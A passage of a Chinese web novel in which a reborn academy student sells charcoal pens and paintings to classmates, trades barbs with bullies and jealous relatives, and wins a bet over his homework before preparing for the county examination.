算了,既来之,则安之吧。苏辛集奋笔疾书,把夫子讲的重点,都记录了下来。尽管苏辛集才入学,可听黄字班的课程,丝毫没觉得困难,不少入学一两年的学子,听了还会皱眉。
周夫子讲的酣畅淋漓,见苏辛集的学的认真,满意的点了点头。
“咳咳,好,接下来咱们讲《论语》。”
苏辛集掌握了节奏,笔记记得简明扼要,字迹甚是工整。一个时辰后,周夫子这才宣布暂时休息,学子们立马撒欢儿,有的去外面溜达,有的去放水。
“呦,苏辛集,你这个笔倒是别致,写出来的字娟秀的很。而且不用蘸墨,书写速度倒是能提升不少。”胡天庆早就注意到苏辛集用的笔与众不同,趁着下课过来一探究竟。
“还真别说,苏心机的笔记记得确实好看,不用墨汁的笔确实好,你们是不知道,我经常把墨汁弄到衣服上、书袋上,可没少为这事儿挨训呢。”
看着周围同窗叽叽喳喳的议论,苏辛集似乎看到了商机,早知道就多做些了,几只炭笔而已。
“哎呦,苏辛集这是你画的画么,真是好看。”不知道谁手快,翻阅笔记的时候看到了后面的插画。
这原本是苏辛集用炭笔画的速写,是一些插画小样,多数都是少女,学堂这些少年都是血气方刚之人,就没有不喜欢的。
“辛集,没想到你还会画画,你这笔画出来的东西,真是别有一番韵味,不知道这画你卖不卖?”
“笔也别致,这笔你若还有余,我买几支!”
苏辛集点头:“卖,这笔一钱银子二十支,画要看具体内容和尺寸,我得现画,费些功夫,这样上了色的仙女图成品,四钱银子一张,我可以保证,每一张都是孤品。”
第十八章 到底是谁有辱斯文?
能来学堂读书的,不说家境优渥,至少也是小康之家。农户人家的孩子,鲜有读书的。手里有些零花钱,不是什么稀罕事儿,苏辛集赚他们的银两,毫无负罪感。
好几个人一听说是孤品,都心动了,不过也有人说起了风凉话。
“咱们这里是学堂,不知道的还以为是到了商业街呢!”
“是啊,听说苏家娶媳妇没陪嫁,日子自然是艰难些,眼瞅着生意都做到学堂里了。”
“哼,真是有辱斯文!”
为首挑衅的人是邓明光,听说在学堂上了四五年学,才刚刚晋升玄字班。要不是家里有几个钱,还真是供不起他。
苏辛集听了,并未放在心上。笔和画都是别人主动求购的,送上门的赚钱机会,难道他还能不要么?
苏辛集翻看着笔记,趁热查漏补缺,说风凉话的人以为苏辛集是怕了,又哄笑起来。
“啪!”大师兄温长丰看不下去去,狠狠拍了下桌子:“都少说几句,你们能来这里读书,谁不是靠着家里的营生?”
“大师兄,我们跟他可不一样,我们家的营生是有正经拍照的,他这是非法经营。”说话的人面白微胖,一激动浑身的肉都在颤。
苏辛集诧异的看向温长丰,没想到大师兄会公然维护自己。
“怎么,哑巴了?在苏府还真是牙尖嘴利,这出了门,就怂了?”
温长丰也是见识苏辛集在婚宴上的表现,这才对他有些改观,结果现在被这些人骑到头上,他连屁都不敢放,作为大师兄温长丰有点恨铁不成钢的意思。
“大师兄教训的是,你若想要笔,我可以多给你五支如何?”苏辛集伸出五根手指,冲着温长丰比划了一下。
温长丰嘴唇抖了抖:“臭小子,我是缺你那点笔?”
说正事儿呢,还还想要贿赂我,就算是白送,我也不可能替你出头的!
“……”苏辛集扶额,这变相降价大师兄你是看不明白么?
场面一度尴尬,恰好这时,一块碎银子出现在苏辛集面前。
苏辛集抬头,看到此人是坐在面前的杨闻道,眼底闪过一抹意外。
“杨兄?”
“我想要预定一副画。”
苏辛集喜笑颜开:“行啊,杨兄帮我开张,回头送你两支笔。”
四钱银子的生意,娘子,咱们的生意是越来越好了!
“杨兄可以把具体需求写给我,比如说某本话本中的场景,或者人物,亦或者你想象中的人物,都是可以的。”
苏辛集表现的很贴心,毕竟夫子是禁止大家读些杂七杂八的话本子,有诉求还是写下来的好。
“嗯。”
随后又有两个同学定了笔和画,苏辛集甚是开心,学习上更是卖力了。
周夫子不知道这些,看着苏辛集如此用心,对这个入室弟子满意的很。
上午散学,周夫子特意留苏辛集一起吃饭,苏辛集本是想要拒绝,夫子却道:“你是我的入室弟子,等同于我的儿子,怎还如此生分?”
苏辛集无奈,只得答应下来。
散学后,苏辛集一出学堂,就看到了母亲林沐芳。看到母亲抻着脖子,朝着学堂门口张望,苏辛集鼻子一酸。想必是母亲担心他来学堂被人欺负,所以才在学堂门口等着接他回家。
“看,那个人好像是苏辛集的母亲?”
“都多大了,还要接送,这母亲还真是一刻离不开儿子啊!”
“你懂什么,听说他父亲早亡,他母亲就守着这个独苗苗呢,自然是含在嘴里怕化了,捧在手心怕碎了。”
“难怪,之前人家都说苏辛集是个痴呆的,想必是她母亲惯的。”
邓明光故意取笑,周围几个人跟着哄笑起来。这些人便是之前对苏辛集在学堂卖笔、卖画冷嘲热讽的那一群。
苏辛集有些不悦,说我是妈宝男?
不给你们点颜色,就不知道天有多高了是吧!
“集儿,天色不早了,咱们回家吧。”林沐芳担心儿子被人欺负,有些窘迫的喊了一嗓子。
苏辛集冲着母亲点头:“娘,你等我一会儿。”随后走到邓明光几人面前。
“你们家是住在大海边上的么?”
“什么意思?”邓明光等人不明所以。
“说你管的宽啊!”路过的胡天庆插了一句。苏辛集冲着胡天庆微微一笑,随后看向邓明光等人:“家父早亡,母亲一人把我拉扯大不容易,为了能供我念书,更是不吃辛劳。你们看不到为人父母的难处就算了,怎可轻易取笑?”
邓明光皱眉,不对啊,之前他们可没少玩弄苏辛集,他都没什么反应,怎么如今像是换了个人?
旁边的小伙伴多数都觉得苏辛集是在强撑,可邓明光却觉得有些诡异,苏辛集不卑不亢,看起来跟之前确实不一样了。
不等邓明光再度开口,旁边的跟班道:“苏辛集,你们三房连个撑门面的人都没有,你何必拿着你爹的卖命钱出来嘚瑟,书不是你这样的人读得起的!”
见林沐芳站在巷道里,有些畏手畏脚,这些人更放肆了:“苏辛集,你还是回去做个逍遥人吧,只要老爷子还在,左右少不了你有口饭。”
“我读不读书,跟你们有关系么?邓明光,你能读书,不也是靠你爷爷么?”
“呵,明光兄可跟你不一样,他可是邓家这一代唯一的嫡系男丁,不像你爷爷,偏心大房二房的厉害。你们三房还得靠你出来卖画支撑,就算是夫子收你,又能坚持几日?”
读书是个烧钱的事情,苏辛集当然清楚对方的意思。
“跟你有什么干系。”苏辛集翻了个白眼。
周夫子让来的,轮得到你们这些人说三道四的么?
“放肆!”
那些人刚举起手,林沐芳便冲到儿子前面,像是护犊子的老母鸡:“你们欺人太甚!”
苏辛集看的真切,明明母亲已经吓得手都在抖,还是奋不顾身的冲到这些人面前,奋力保护自己,这一刻,苏辛集是真的被温暖到了。
正当双方僵持的时候,一道声音传来:“你们这是长本事了?我怎么没看出来,欺负同窗是一把好手啊!到底是谁有辱斯文?”
第十九章 二房得意且张狂
见大师兄温长丰从学堂里出来,众人这才收敛了不少。
苏辛集连忙上前:“多谢大师兄、几位师兄解围。”
“你啊,真是一刻都不消停。仔细让夫子知道,少不了挨训的。”温长丰了解周夫子,他要是听说苏辛集在学堂卖货,肯定是一并责罚的。
“知道了,大师兄。娘,这位是大师兄,这位是杨师兄,还有胡师兄。”
“几位师兄,这位是我母亲。”
“见过伯母。”
“闻道见过伯母。”
几人纷纷行礼,林沐芳哪里受过这么大的礼,强装镇定地道:“无需多礼,你们都是集儿的同窗,以后要相互扶持,相互勉励啊。”
说着,林沐芳把原本准备带回去给谢嫣儿的糕点跟大家分了。
片刻后,苏辛集母子消失在了巷口。
胡天庆吃着糕点,“咱们是不是以后要多帮衬他点啊,怎么说也是吃人嘴短。”
“你刚才拿的时候,就应该想到啊。”杨闻道说了一句。
大师兄说道:“学堂里不兴拉帮结派欺压同窗,咱们若是碰上了,自然是要多说几句公道话。”
放学路上,苏辛集委婉的对母亲道:“娘,你以后不用来接我,我都是大人了,自己走回去也没多远。”
重生前,苏辛集从小学二年级开始就是自己走回家,单程也要一刻钟。现在都这么大的人了,苏辛集不愿母亲操劳这些琐事。
“行啊,集儿长大了。对了,今天怎么样,夫子布置的作业多么?”
说起这个,苏辛集脑中闪过两个字:卷王!
周夫子对他确实厚爱,布置了三人份的作业。
“娘,师父对我很好,劳心费力的教导我。”
林沐芳见儿子如此,便松了口气。刚才还在犹豫,要不要私下找夫子说说那帮不讲理的学生,她总担心苏辛集被欺负,可又觉得贸然介入学堂的事情,会给儿子带来负面影响,要是儿子因此被排挤,那就更不好混了。
别看林沐芳是女流之辈,这几十年的盐可不是白吃的。
见母亲不说话,苏辛集宽慰道:“娘,放心吧,学堂没人能欺负我。”苏辛集拍着胸脯子保证道。
“真的?”林沐芳潜意识里还是有些不敢相信。
“娘,爷爷不都说我开窍了,脑子好使,自然没人会欺负我。今儿我还办了个大事儿。等到家我再细说。”
苏辛集摸了摸袖子里的银两,嘴角露抑制不住的上扬。
林沐芳忧心忡忡的拍了拍儿子的肩膀,她可没儿子这份乐观,毕竟在学堂门口,是亲眼目睹儿子被欺负的。苏辛集倒是真的没放在心上,他不是个主动挑事儿的,但也绝对不怕事儿!
今日苏辛集大婚后第一天入学,老爷子特意嘱咐,三房一起吃晚饭。
苏辛集母子本想先回去换身衣服,没想到在花园边碰上了二房和大房家的小女儿。
“才读了几日书,就要下场参加县试?弟妹你真是太惯孩子了,你说三房也没个当家的,一年到头能有几个进项,你也别不爱听,我是当嫂子的,自然是要劝着点。”二房家的邹氏看到林沐芳接儿子散学回来,不阴不阳的道。
应考县试,除了要五位考生互保外,还需要廪生作保,要是没相熟的关系,少说也得二两银子,才会有人作保。加上吃住和路上的费用,二三十两银子几日便没了。这点,邹氏倒也没说错。
“还不都是仗着爷爷撑腰,肆无忌惮的花公中银两?”大房家的小女儿苏玉琴更是看不惯。
声音清晰传入苏辛集母子耳中,林沐芳脸色微变,没好气的道:“周夫子觉得集儿是个有潜力的,收入门中,还鼓励集儿去试试的。”
邹氏冷笑了一声:“真当我不懂呢,别忘了我们辛尔也在夫子那里读书,谁能中,谁是陪跑的,夫子心里能没数?不过是想要多赚点束脩,说两句好听的哄你们开心,还真把自己当盘菜了?”
苏辛集本没打算计较,见邹氏如此张狂,便道:“周夫子曾经的学生李文海,如今可是举人,就连白鹿洞书院的院长,都赞许周夫子满腹诗书,看来二娘比院长懂得还多啊。”
邹氏听到,气的直翻白眼。
她连自己的名字都不会写,怎么敢跟书院的院长比较?
“苏辛集,耍嘴有能耐算什么本事?我们辛尔这次肯定能高中,他可是寒窗苦读数十载。你就算是开窍了,读了两日闲书,又能如何?我是好心提醒,让你们三房省省钱,跟罪臣结了亲,花钱的地方多着呢。”
邹氏是明摆着欺负三房势单力孤,谢家又是个戴罪的。林沐芳听到后心里不是个滋味,要论起来,这婚事指定得是你们二房的苏辛尔,偏偏你们怕耽误孩子前程,就把我儿子推出去,时至今日不感恩就罢了,还在这里说风凉话。
“二嫂,你……”林沐芳实在是忍不住,刚想要掰扯,便被儿子拉到身后:“二娘,你也别担心,我爹给我留了钱。”
邹氏一想抚恤金,就觉得胸口堵得慌。
三房苏武当年战死,苏家拿到上千两银子的抚恤金,老爷子体恤他们孤儿寡母不容易,就把抚恤金都交给林沐芳保管,甚至还给了苏辛尔五十亩良田。大房、二房都为此愤愤不平,觉得老爷子偏心三房。
“就算是给你留下万贯家财,早晚也有败光的时候!”邹氏恼怒道。
苏玉琴唯恐吵不起来,又添了把火:“是啊,三弟你开蒙晚,在家当个富贵闲人,细水长流,还能多享几年清福。”
苏辛集瘪了瘪嘴:“二娘,琴姐姐,你们多虑了,我是会赚钱的。”
邹氏为了儿子苏辛尔能拿到书院名额,这几日一直盯着苏辛集的一举一动,见他总是去崇文阁,便差人打听,很快就知道苏辛集替妻子卖画的事情。
“你?别人不知道,我还不清楚,不过是讨了个会画画的媳妇罢了。”邹氏不以为然,即便是能画,最多也就补贴家用,还能供得起读书人?
一个大男人,还得靠老婆养活,也不嫌害臊!
第二十章 国无奸民,则都无奸市
“二嫂,能讨到琴棋书画样样精通的媳妇也是运气。”林沐芳见她们奚落儿子,毫不犹豫的回怼道。
“呵,罪臣之女,谁稀罕啊。我们辛尔说了,他这次有望考中秀才,即便是不行,保底也是个童生。等他拿到功名,到时候全省城的姑娘,还不是随便挑?”
对于苏辛集这个年龄的人,考中童生也算是不易,必须要过县试和府试,童生若是继续再考院试,高中的便是秀才。
秀才中成绩优异者,是为廪生,每月可以领六斗米,还可以给考生担保,赚些银两,名下也有一定免税田地,用现代的眼光看,考中秀才就算是阶层跨越了。
别看邹氏大字不识一箩筐,这些她还是懂的,以苏家的地位,也不是高攀不上省城的姑娘,可以要说随便挑,还是有些夸张的。
“二哥能说门好亲,也是给咱们苏家长脸。说起来,二房人丁兴旺,辛义大哥又有了儿子,二娘说得有道理,我也觉得辛尔二哥去省城入赘是极好的。”
“你!”邹氏气的手抖,她什么时候说过要让二儿子入赘?
林沐芳笑盈盈的看着自家儿子,如此聪慧,只要孩子愿意读书,就算是砸锅卖铁,也要供的。
“好了好了,集儿,时辰差不多了,等下该让你爷爷等着急了。”林沐芳担心撕扯起来,儿子吃亏,便抬出老爷子的威势。
邹氏想起公爹最讨厌不守时的人,也只能甩袖离开。
这一顿晚饭,因为老爷子的关系,大家表面倒还算平静。老爷子苏谅问了问苏辛集学堂中的情况,又关心了下药铺的事情,三房人到也算是相安无事。
林沐芳不想三房被人瞧不起,几次暗示苏辛集,让他把欠公中的婚宴钱还上,苏辛集无奈,他本想等着插画分红到账再说,但看母亲焦急的样子,便把那日母亲给的银两拿了出来。
“爷爷,大伯,二伯。这是一百八十两银子,我们凑够了,这婚宴的钱我们三房自己掏,省的有人睡不着觉。”苏辛集看了一眼邹氏。
邹氏心虚,立马反驳道:“谁睡不着了?你这孩子……”
“咳咳!”二房苏富立马打断,不愿意妻子惹老爷子心烦,他顺手接过银票:“集儿,你这么说就太生分了,都是一家人,原本家里也是有些预算,只是……呵呵,要不是赶上灾年,这婚宴钱断然不能让你们出的。”
苏富虽是没挑明,但大家都知道他的潜台词,你娶了个罪臣之女,一点陪嫁都没有,偏偏还要大摆三天宴席,这钱你不出,谁出?!
苏辛集没有多说,看着老爷子道:“爷爷,夫子布置了不少作业,我吃饱了,就先回去读书了。”
他确实没时间打嘴仗,除了作业,回去还得把接的单子完成了。
回到三房,苏辛集把婢女支开,只留下母亲和妻子。
“有件好事要跟你们说。”
苏辛集从怀里掏出碎银子,瞬间,面前的二人都有些惊讶。
“集儿,你这银子是……”
林沐芳心中纳闷,儿子今日不是一直在学堂么?
“同窗给的,今日我在学堂,他们看中了娘子的画,还喜欢我的笔,这不啥都要买。”见母亲脸色不对,苏辛集又解释了几句:“我这也是想要跟同窗处好关系,他们说要,我也不好意思拒绝。”
“可你不是要参加县试么,弄这些不是耽误功夫么?”林沐芳觉得不稳妥,好言劝阻道。
“这个问题我也考虑了,这不是想着请二位帮忙么,娘,你手巧,帮我做些笔,我等下教你一次便会了。”说完,苏辛集看向谢嫣儿:“娘子,画的事儿,还得拜托你。”
谢嫣儿一想到苏辛集的那些露骨的插画,脸瞬间就红的跟苹果一样,那般尺度,自己如何画的来?
林沐芳不想儿子浪费时间,便帮忙劝道:“嫣儿,要不你就帮忙画画吧,还有不到两个月就县试了,集儿一个人怕是忙不过来。”说着,还把桌上的碎银子塞到谢嫣儿的手里。
见婆婆如此,谢嫣儿也不好拒绝,只能点头答应下来。
当晚,三人便分头忙碌起来。
苏辛集教会母亲做炭笔,便来到书房做功课,谢嫣儿则在书案前画画。这场景倒是一副举案齐眉,琴瑟和谐的样子。
林沐芳做好炭笔,开心的拿过来给儿子看。站在廊下,看到屋内儿子一边研磨,一边跟儿媳探讨的样子,林沐芳不由得叹了口气。
本想让儿媳好好劝劝儿子,这下倒好,俩人一起点灯熬油,大孙子到底何时才能抱上?
次日一早。
苏辛集早早来到学堂,见到杨闻道进来,便把画给了他。
“多谢惠顾,看看喜欢么?”苏辛集笑着道。
“没想到,你效率还挺高的。”杨闻道撇了撇嘴,顺手打开了画,这人物画的惟妙惟俏,就跟活了一般:“嗯,画的很有神韵,比我想象的还好。”
苏辛集暗道,这年头花钱的是大爷,四钱银子的生意,那自然是要认真高效,落袋为安嘛!
说着,又拿出两支笔送给杨闻道,杨闻道还未来得及开口,就听到一声刺耳的讥讽:“国无奸民,则都无奸市。苏辛集,你到底是来做生意的,还是来上学的?”
“明光兄,看他这个样子,估计夫子留的作业都没做,就想着赚钱了。”
“啧啧,本末倒置啊。”
几个人一唱一和的,似乎是认定苏辛集今日上课会出糗一般。
“邓明光,大家都是同窗,你说这些有意思么?再说了,你怎么知道苏辛集没做作业,你看到了?”胡天庆看不惯他们如此,粗声粗气的质问道。
“呦呦,这还有人替他出头呢?胡天庆,你是不是拿了苏辛集什么好处?”跟邓明光一伙儿的小个子,出言嘲讽,此人名叫赵金,在学堂中也算是数得上的一号。
“我没有!我不过是觉得苏辛集诗做得好,画也画的漂亮,不像你们说的那般。”胡天庆气红了脸。
“吟诗作画,那可是文人雅士,他也配?!胡天庆,你脑子是不是进水了,愿意跟这种傻子为伍?”
见被人如此质疑,苏辛集道:“若是我完成作业,你们该当如何?”
第二十一章 暗藏杀机
“你就不可能保质保量地完成!”邓明光笃定地道。今年是他在学堂的第五个年头,夫子最喜欢的就是布置作业,那个量要说是糊弄,还有可能完成,但要是认真做,绝对不可能一晚上做完。
一般夫子也不会第二天上课就检查,第二天白天还会留出时间,待到放学前,能交上即可。若是被打回,那晚上就得重做,叠加上当晚的作业,想想都觉得酸爽。
再说夫子觉得苏辛集刚入学不久,需要加快脚步,追上同窗。特意“关照”,苏辛集的作业量,是旁人的三倍,在场的所有人都觉得苏辛集不可能完成!
不远处,苏辛尔看到这一幕,嘴角微微上扬。
苏辛集扫视了一圈,见所有人都不信,笑着道:“好哇,那就请各位师兄们做个见证,咱们就赌我是否完成作业了。若我赢了,你便向天庆兄道歉,而且还得请他吃一个月的午饭。”
苏辛集之所以这么说,一方面是想收拾邓明光,另一方面也是想让胡天庆记着这个人情。看起来自己什么也不图,实际上名利双收的事儿。
果然,胡天庆听到这话,欲言又止的看着苏辛集。
这场赌局风险极大,难为苏辛集还一心想着替自己找回面子。胡天庆心中暗道,这确实是个可交的人。
苏辛集看向邓明光:“你敢答应么?”
邓明光冷笑一声:“有何不敢?可若是你输了,我也有两个条件,在学堂门口模仿三声狗叫,然后主动退学!”
哗!
学堂一下就炸了。
主动退学?
这未免太狠了吧!
众人交头接耳,大师兄温长丰蹙眉,“明光,这不合适吧?”
“大师兄,他若不敢赌,那就算了,我也没有逼他。”邓明光鄙夷的看了苏辛集一眼,眼神充满挑衅。
“我答应。”苏辛集沉声道。
杨闻道见苏辛集如此莽撞,连忙走过去劝说:“别冲动,夫子的作业是出了名的量大,题难,没做完也不丢人,没必要为了一时意气之争,赌上学业啊!”
“多谢闻道兄关心,我确实做完了作业,不怕跟他赌。”苏辛集拱手道。
“哈哈,难得有人如此自信,辛集兄,我看好你!”
“辛集兄艺高人胆大,我相信你能赢!”
说这话的多数都是邓明光的狐朋狗友,把苏辛集架起来,他就算想反悔也没机会!
“那好,咱们就立字为证,双方按上手印,省的一会儿有人不认账!”邓明光潜意识里觉得,苏辛集必输。
苏辛集点头:“好。”
看着苏辛集写下的证明书,邓明光有些恍惚,可身边这么多双眼睛盯着,也容不得他多想。
赌就赌,我就不信你能赢!
“证明书一式两份,你们二人一人一份。”杨闻道把纸条分别递给二人。
听到夫子的脚步声,大家都回到自己的位置上。
周夫子把书放在讲坛上,黑着脸道:“老远就听到你们喧哗,到底何事如此兴奋?”
邓光明迫不及待站起来:“夫子,学生们听闻,辛集兄把昨日的作业全部完成,有些意外,这才破坏了课堂纪律。”
果然,周夫子没有继续关注课堂纪律的事情,转而望向苏辛集:“你的作业,拿上来。”
苏辛集双手奉上,周夫子翻着翻着,眼神就变得犀利起来。
“苏辛集,你可知老夫这辈子,最讨厌的是哪种人?”
学子们见夫子生气,便猜到苏辛集的作业很有可能是找人执笔,也是,他的作业量是旁人的三倍,要都是他自己写的,那恐怕得写到天明了。
“学生不知。”苏辛集面无表情的回应道。
“好,好,既然如此,老夫便考考你!”周夫子捻着胡须:“《孝经》中,天子之孝,士、庶人之孝有何不同?”
“《天子章第二》爱亲者,不敢恶于人;敬亲者,不敢慢于人。爱敬尽于事亲,而德教加于百姓,刑于四海。盖天子之孝也。这句话说的是天子之孝, 核心是将孝亲的爱敬推及天下,以德行教化百姓、成为天下表率,侧重治国层面的教化引领。”
“《士章第五》资于事父以事母,而爱同;资于事父以事君,而敬同……忠顺不失,以事其上,然后能保其禄位,而守其祭祀。盖士之孝也。此乃将事父的爱敬转化为事君的忠顺,以保住禄位、维系祖先祭祀为目标,侧重对上级的忠顺履职,是士之孝。”
“《庶人章第六》用天之道,分地之利,谨身节用,以养父母,此庶人之孝也。是说作为庶人,应顺应自然规律劳作获利,谨慎行事、节约用度以奉养父母,仅聚焦家庭层面的赡养义务。”
听到这里,周夫子已经相信,昨日的作业,都是苏辛集独立完成的。他打量着苏辛集,紧接着道:“《孟子》中,齐宣王不行仁政,是不能还是不为?”
“《孟子·梁惠王上》:挟太山以超北海,语人曰:‘我不能。’是诚不能也。为长者折枝,语人曰:‘我不能。’是不为也,非不能也。”
周夫子暗暗点头,这两道题,已算是作业中较难的部分,苏辛集能脱口而出,证明他是下了功夫的。
其他人则翻开书暗暗对比,发现苏辛集能一字不差的背出课文中的内容,众人眼睛瞪得溜圆。
苏家的傻少爷,原本应该是学堂中最自卑的人,可他如今却出口成章,眼中有光?
邓明光捧着手中的书,张大嘴巴:“怎么可能?”
即便是亲眼所见,邓明光也不敢相信,没念过几天书的傻缺竟然一字不差地背出了书中的内容?
“怎么不可能,我堂弟可是要参加县试的人,自然是要比旁人更刻苦些。”苏辛尔故意把苏辛集要参加县试的事说了出去。
苏辛尔表面好意替苏辛集解释,实则暗藏杀机,想让苏辛集丢脸。
什么?
距离县试就剩下一个多月了,苏辛集才入学几日,就要去参加?
周夫子刚刚平复的心再度提了起来,那吃惊的模样一点不亚于邓明光等人。
看着认真读书的苏辛集,周夫子有些失神,心中暗道:看来,这小子是铁了心要去搏一搏了!
第二十二章 共饮一杯鸡血
“真不自量力!”
“也难怪,苏家灾年还能大摆三日流水席,人家肯定不差这点钱。”
“要是不差钱,怎么可能跑到学堂卖……”
周夫子一拍桌子:“安静!”随后,周夫子看向苏心集:“真是初生牛犊不怕虎!一个多月的时间,想要准备县试,你有几分把握?”
苏辛集郑重其事的道:“夫子,事在人为。”
他承认,是非常想试试的,不仅仅是因为白鹿洞书院的名额,更是想要证明自己的实力。苏辛集不是个爱出风头的人,但不代表,他会刻意低调,错过这次机会。
广度圣贤书,养浩然气于胸间,为的不就是青云直上么?
苏辛尔真是要笑疯了,就怕你不去呢。
鼓动苏辛集去参加县试,并且公之于众,就是想挫挫他的锐气。
若他知难而退,不去参加,回头自己跟爷爷说说,三房最近手头紧,苏辛集不想白费银钱,白鹿洞书院的名额,岂不是自己的囊中之物?
想到这里,苏辛尔笑着道:“夫子,县试本就是面向广大学子。我堂弟可是夫子入室弟子,想要参加为师门增光,也是很正常是事情啊。”
“夫子说了,县试报名最好是有些基础的,苏辛集虽是入门弟子,可毕竟是刚启蒙没多久,可以不参加的。”胡天庆看出苏辛尔有别的心思,出口说了句公道话。
邓明光冷笑道:“夫子说的是年龄小,刚启蒙的不用参加。他都成家了,而且背书方面挺有天赋,如此人才,就该参加,为学堂争光。”
近两年县试考题愈发刁钻,苏辛集刚来学堂没几天,定然比不过其他人,绝对会丢人的!
邓明光脑补出苏辛集在考场上抓耳挠腮的样子,差点笑出声,别以为会背书就能横着走,等你去县试就知道厉害了。
“呵呵,你们有这么强的荣誉感为师很是欣慰。等下你们其他人的作业一并交上来,待为师得空一一细看。好了,翻开书,开始今日讲学。”
周夫子此刻有些怀疑,是不是作业布置的太少了……
夫子讲起课来,时间过的飞快,眼瞅着到了散学的点儿。周夫子照例布置了作业。
众人纷纷叫苦:“师父,这作业是不是多了些?”
“怎么,有困难?人家苏辛集为何能完成?他的作业,比你们任何一人的都多。”
“师父,他是要参加今年的县试,我们又不参加。”
“呵,还有脸说,你们入学几年?怎么就不知上进?”
“师父,人的天赋是有上限的,辛集兄聪慧过人,我等实难比肩。”
“是啊,师父,您不是常说,要因材施教么?”
为了少做些作业,众人也不得不承认,苏辛集确实有过人之处。
“我并没有要求你们跟辛集一样,这已经是最低要求了。谁再多言,便要加题了。”
众人低头叹气,师父的爱,果然够沉重。
夫子走出学堂,众人这才松了口气。苏辛集一把拉住心虚的邓明光,“明光兄,愿赌服输,这一个月的午饭就算了,我住得近,可以回家吃。但你必须跟胡天庆道歉。”
其实苏辛集可以提出要点实惠,但他并没有,与其跟不喜欢的人一起吃午饭,倒不如赚胡天庆一个人情。这小子学业上不怎么样,大大咧咧的,但人品还算中正,家境殷实,算是个可交之人。
果然,苏辛集如此一说,胡天庆满是感动。
“兄弟,他输了就是输了,你何须让步,要我说这银两必须给,道歉也不能少!”胡天庆嚷嚷起来。
“愿赌服输,刚才不是白纸黑字的写了么?夫子的学生,可不兴赖账!”
邓明光被他们你一言我一语的挤兑,有些受不住,索性一把拽下腰间的钱袋子:“我输了,都给你们!行了吧?”
“这也太没诚意了吧?”胡天庆怎么回错过这么好的机会。
邓明光红着脸,本想争辩几句,见到苏辛集手中明晃晃的证明书,瞬间哑火:“对不起!有什么了不起的,你有本事拿个县试头筹回来啊?”
“就是,能背两本书就觉得自己无敌了,比你有天赋的人多了!”
学堂中,不少人因为夫子加作业,记恨上了苏辛集,都觉得是他太卷,才导致大家跟着一起受累的。
“好了好了,都不想回家了么?”大师兄温长丰见状,连忙替苏辛集解围。
邓明光等人打赌输了,也没脸继续呆着,灰溜溜的走出了学堂。
温长丰来到苏辛集面前:“辛集,你如此,很容易得罪人的。”
“多谢大师兄提点。”苏辛集刚进学堂,本不愿意多事,可邓明光那伙人实在是太聒噪,趁这个机会让他们长长记性也好。
“你……真要去么?”杨闻道关切的问道。
“二位师兄有所不知,我堂兄已经下了战书,我若是不应战,岂不是成了软脚虾?”苏辛集道。
“可如今,我们连试问都不了解,想要参加县试定然是要脱层皮的。”杨闻道委婉的劝苏辛集三思后行。
“男子汉大丈夫,这点苦算得了什么?说实在的,我已经做好了脱三层皮的准备!”
苏辛集的心里也是有怨的,这些年他们没少被大房、二房的人欺负,原主甚至被他们推入水中,若不是自己重生,苏辛集恐怕已经长眠地下了。
也就是老爷子苏谅还活着,大房和二房不敢太放肆,不然他和母亲相依为命,孤儿寡母的怎么挡得住那些人觊觎三房的财产。
这倒是给了苏辛集成长的空间。
苏辛集很清楚,只有考取功名,出人头地,那些人才不会欺负三房!
“可是……”
“你得明白,站得足够高,才不会被人轻易拿捏。”
若自己是举人,哪怕是个秀才,苏家那些人还敢欺负三房么?
只有掌握了权力,别人才会以礼相待。
听到这些话,杨闻道像是打了鸡血一样,也是摩拳擦掌,想要去参加县试,活出个人样来!
第二十三章 倾囊相授
也就是两日时光,苏辛集便把同窗定制的画拿了出来。
“苏辛集,这画真是传神。”
胡天庆凑上细细观察,眼底是隐藏不住的崇拜和羡慕。
“呵呵,不过是手熟罢了。天庆兄,我家娘子三岁便开始接触丹青,也是冬练三九呢。”苏辛集心中难免感叹,谢家对女儿的栽培,不输男儿,就凭这点,谢家老爷子就值得敬佩。
这个封建时代,世家常有,但对女儿如此厚爱的,不常有。
闲聊几句后,夫子便来到了学堂,开始一天的授课。说是授课,其实多为讲解,每到休沐前的一日,夫子总会集中讲解一些经典题目。
今日周夫子似乎是心情不错,提前了一刻钟宣布下课。
学子们欢呼不已,已经走远的夫子听到后,面色一松:“这帮兔崽子啊,就没一个省心的。”
“辛集,明日休沐,作业不急着做,一起去缘合居吃点?那边的卤猪脚味道极好。大师兄,二师兄他们都去的。”胡天庆真诚地邀请道。
苏辛集无奈地耸了耸肩:“夫子让我等下去书房,估计是觉得我参加县试不稳妥,可能是要提点一番。”
周夫子求稳,本不同意苏辛集这么快参加县试,怕他考不好,心态崩了,一蹶不振。所以想要压一压,给他布置三倍的作业,也是想让他知难而退。
没想到苏辛集属于压力越大,动力越足的人,每日都能保质保量地完成作业,夫子没办法,只能再给他加加码,希望他上考场能多几分胜算。
“大师兄,二师兄,你们也要去么?”胡天庆知道,他们俩这次也是要参加县试的。
大师兄温长丰和二师兄杨闻道对视一眼,温长丰道:“刚想跟你说,夫子想让我们县试多一些了解,让我们尽量过去。”
尽量?
那这顿饭是吃不成了呗!
胡天庆心里很不爽,其他三人抿着嘴,尴尬地四处看,以胡天庆的水平,即便是一起去,肯定也跟不上的。
“好吧,你们忙你们的,我回家了。”
这几年,胡天庆的进步,肉眼几乎看不出来。
温长丰和杨闻道都是夫子的入室弟子,苏辛集虽然来得晚,但是极为刻苦,天赋也高,几乎是一天一个变化。
书房。
邓明光已经先人一步,来到夫子面前。
“明光,你读书的时间不算短了,若要是能调整好心态,童生应该不是问题。”夫子很清楚每个弟子的弱点在哪,邓明光之所以读书多年,进步得缓慢,主要还是心态,想到这几年观察到的细节,夫子的面色微沉。
“谨遵夫子教诲。”邓明光此刻心中是不服气的。
见苏辛集等人进来,邓明光眼神一变,开口道:“夫子,弟子深感惭愧,小师弟入门月余,便要去参加县试,我如今年过十八,才第一次去。”
嘴上说惭愧,可眼神中却满是挑衅。
杨闻道有些看不惯,他虽然比不上大师兄温长丰的积累厚重,也没有小师弟苏辛集的天赋和刻苦,但他自认为不输邓明光,担心邓明光言语挑唆,影响苏辛集心境,所以开口便道:“明光,夫子常说厚积薄发,放平心态,只要这次能发挥好,定然会有所收获。小师弟的勤奋刻苦是有目共睹的,我觉得过程比结果更重要。试一试,也算是一种以考促学的方式吧。”
邓明光见有人替苏辛集出头,也不好多说什么,毕竟夫子就在眼前,不好太放肆。
“啪!”
“哎哟!”
听到熟悉的声音,几人纷纷看向窗外。原来是胡天庆,趴在窗口偷听。
